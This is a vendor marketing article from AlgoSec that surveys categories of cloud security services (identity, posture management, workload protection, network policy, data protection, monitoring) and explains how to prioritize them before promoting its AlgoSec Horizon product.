AlgoSec's privacy policy Continue

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Learn which cloud security services to consider first, how to prioritize them, and how to govern cloud access, policy changes, and audit evidence What cloud security services should your business consider? What cloud security services should your business consider? Choosing cloud security services often starts with a messy reality. A business may already have SaaS applications, cloud workloads, security groups, customer data in storage buckets, and an audit request asking who approved access. The first decision is not which tool to buy. It is what needs protection, who owns each control, and which risks change fastest. Cloud security services are the tools, platforms, processes, and managed capabilities that protect cloud identities, data, workloads, applications, networks, configurations, logs, and compliance evidence. Evaluate identity and access management, cloud network and policy management, posture management, workload protection, data protection, monitoring and response, application and API security, and audit evidence. The order depends on data sensitivity, applications, regulatory scope, staffing, cloud maturity, and change volume. Schedule a Demo Why choosing cloud security services gets messy Cloud security is not one category. It is a set of responsibilities spread across cloud providers, security teams, platform teams, developers, application owners, and sometimes managed service providers. Native tools can cover important controls inside one cloud. Third-party platforms can help when environments span cloud accounts, subscriptions, projects, data centers, and business units. Managed services can add people and process when internal coverage is limited. The confusion usually shows up in handoffs. Developers may create security groups as part of a deployment. A network team may own cloud firewalls and hybrid connectivity. A compliance team may need evidence that explains why access exists and who approved it. Without a clear service model, teams can buy overlapping tools while still missing ownership, policy drift, stale rules, and exception tracking. Schedule a Demo Start with what the business needs to protect Before comparing services, map the environment in plain language. Which applications support revenue, operations, payroll, customer portals, or regulated data? Which identities can change cloud resources? Which workloads are internet-facing? Which logs would the team need during an investigation? This keeps the budget tied to risk management instead of acronym collection. A company running mostly SaaS may need identity controls, SaaS governance, data protection, and managed monitoring first. A software company running Kubernetes, public APIs, and several cloud accounts may need workload, API, entitlement, and cloud network policy services earlier. Schedule a Demo Cloud security service categories to evaluate The table below is a practical starting point. Use it to match services to risks already visible in the business. Cloud security service category What it helps protect Prioritize when Identity and access management (IAM) Users, admins, service accounts, SSO, MFA, least privilege Cloud access is expanding or privileged roles are unclear Cloud network and policy management Cloud firewalls, security groups, NSGs, VPC firewall rules, segmentation, access paths Teams manage hybrid connectivity, frequent changes, broad rules, or audit questions Posture and configuration management (CSPM) Misconfigurations, exposed assets, risky settings, compliance mappings The business has many accounts, regions, projects, or regulated workloads Workload and container protection (CWPP and CNAPP) Virtual machines, containers, Kubernetes, images, runtime behavior, vulnerabilities Applications run in cloud infrastructure or containers Data protection and key management Sensitive data, encryption keys, secrets, DLP, retention, backup, recovery Cloud stores customer, financial, health, regulated, or intellectual property data Monitoring, detection, and response Logs, alerts, incidents, SIEM or XDR integrations, managed detection and response (MDR) The team needs 24/7 visibility or limited internal coverage Application and API security Web applications, APIs, web application firewall (WAF), gateways, secure development checks The business exposes customer portals, APIs, or public applications SaaS and entitlement governance (CASB and CIEM) Cloud application use, SaaS access, entitlements, excessive permissions Users adopt many cloud apps or permissions expand quickly Some acronyms overlap. Cloud security posture management, or CSPM, focuses on misconfigurations and posture. Cloud workload protection platforms, or CWPPs, focus on workloads. Cloud-native application protection platforms, or CNAPPs, combine several cloud-native security capabilities. A cloud access security broker, or CASB, helps govern SaaS use. Cloud infrastructure entitlement management, or CIEM, focuses on excessive permissions. Schedule a Demo Which services should come first? Identity usually comes first because identities decide who can read data, change infrastructure, create access paths, and approve exceptions. In practice, this means enforcing MFA, removing unused accounts, reviewing service accounts, and limiting privileged roles before the environment becomes harder to unwind. After identity, most teams need visibility. Logging, asset inventory, and posture checks show what exists, who owns it, how it is exposed, and whether it follows policy. Then focus on sensitive data, workload exposure, and network paths. A public storage bucket, over-permissive role, public API, or broad security group can change the priority quickly. For regulated environments, build evidence into the process early. It is easier to preserve logs, approvals, exceptions, and change history as work happens than to reconstruct them during an audit. That discipline also reduces manual investigation and helps teams avoid overlapping controls before ownership is clear. Schedule a Demo Native tools, third-party platforms, or managed services? Native cloud provider security tools can be a good starting point when the environment is focused, ownership is clear, and the team has time to operate them. They also understand provider-specific controls such as IAM roles, logging services, security groups, network security groups, and cloud-native firewalls. Third-party platforms become more important when the business runs hybrid or multi-cloud environments, has frequent access changes, or needs consistent reporting across teams. Managed services can help when staffing is the constraint. A small security team may use managed detection and response for monitoring while keeping identity, network policy, and data decisions internally governed. Schedule a Demo Where cloud network policy management fits Cloud network policy is easy to create and hard to keep clean. A developer may open a security group during testing. A cloud team may add a temporary migration exception. A network team may maintain a cloud firewall rule for an application dependency nobody has documented recently. Months later, the access still works, but the reason is hard to prove. That is why network security management and cloud policy governance deserve a place in the service plan. Teams need to understand which cloud firewalls, security groups, NSGs, and VPC firewall rules allow traffic, which application depends on it, who owns the access, and what would happen if it changed. In a hybrid environment, cleanup and change governance are tied together. Firewall policy cleanup can identify stale or overly broad access, but teams still need application context before removing or narrowing a path. Security policy change management helps keep approvals, impact analysis, rollback notes, and audit evidence connected to the change request. Application context matters. Application connectivity management helps teams map dependencies before policy changes affect a business service. It also supports application-centric rule recertification, where application owners can confirm whether access is still required and whether specific flows should be approved, changed, or removed. That gives teams clearer evidence around ownership, business justification, review decisions, and access changes. Schedule a Demo How AlgoSec Horizon fits into the process AlgoSec Horizon helps security, network, and cloud teams bring application-centric policy context, governance, and audit evidence into cloud security decisions across hybrid environments. In this process, teams can understand which applications and connectivity flows depend on security policies, so changes can be reviewed with clearer ownership, risk, approval, and audit context. That platform view matters in hybrid cloud security management , where a policy decision is rarely isolated. A cloud firewall rule may support an application dependency. A security group cleanup request may need owner review. A compliance request may need evidence showing who approved access and why it is still needed. AlgoSec Horizon complements broader cloud-native security services by helping teams connect application context, security policy visibility, risk analysis, governed change processes, and compliance-ready evidence across hybrid networks. For businesses evaluating cloud security services, that means cloud network policy management can be part of the operating model, not a late cleanup task after policies have drifted. Schedule a Demo Frequently asked questions What cloud security services should a small business prioritize first? A small business should usually start with identity controls, backups, logging, data protection, basic posture checks, and managed monitoring. The order depends on SaaS use, cloud infrastructure, regulated data, and public-facing applications. Are native cloud provider security tools enough? They can be enough for focused environments with clear ownership and limited change. Hybrid, multi-cloud, regulated, or high-change environments often need broader governance, reporting, and policy visibility across tools and teams. What is the difference between CSPM, CWPP, CNAPP, CASB, and CIEM? CSPM finds posture and configuration issues. CWPP focuses on workloads such as virtual machines, containers, and Kubernetes. CNAPP combines several cloud-native protection capabilities. CASB governs SaaS and cloud application use. CIEM focuses on cloud entitlements and excessive permissions. Which cloud security services help with compliance? Compliance-focused cloud programs usually need identity governance, posture monitoring, log retention, data protection, change evidence, policy review, recovery records, and audit-ready reporting. Requirements vary by organization, industry, and framework, so qualified advisors should validate specific obligations. Schedule a Demo See how AlgoSec Horizon can help If your team is trying to govern cloud firewalls, security groups, application dependencies, policy changes, and audit evidence across hybrid networks, see how AlgoSec Horizon can help security teams gain application-centric visibility, manage policy changes with governance, and support audit readiness. Schedule a Demo Select a size What cloud security services should your business consider? Why choosing cloud security services gets messy Start with what the business needs to protect Cloud security service categories to evaluate Which services should come first? Native tools, third-party platforms, or managed services? Where cloud network policy management fits How AlgoSec Horizon fits into the process Frequently asked questions See how AlgoSec Horizon can help Get the latest insights from the experts Choose a better way to manage your network

Learn about the Center for Internet Security (CIS) Controls and how they enhance your cybersecurity posture. Discover how AlgoSec helps achieve and maintain CIS compliance. What is CIS Compliance? (and How to Apply CIS Benchmarks) ---- ------- Schedule a Demo Select a size ----- Get the latest insights from the experts Cloud-Native Application Protection Platform (CNAPP) Read more Hybrid cloud management: All you need to know Learn more Prevasio CNAPP data-sheet Solution brochure Choose a better way to manage your network

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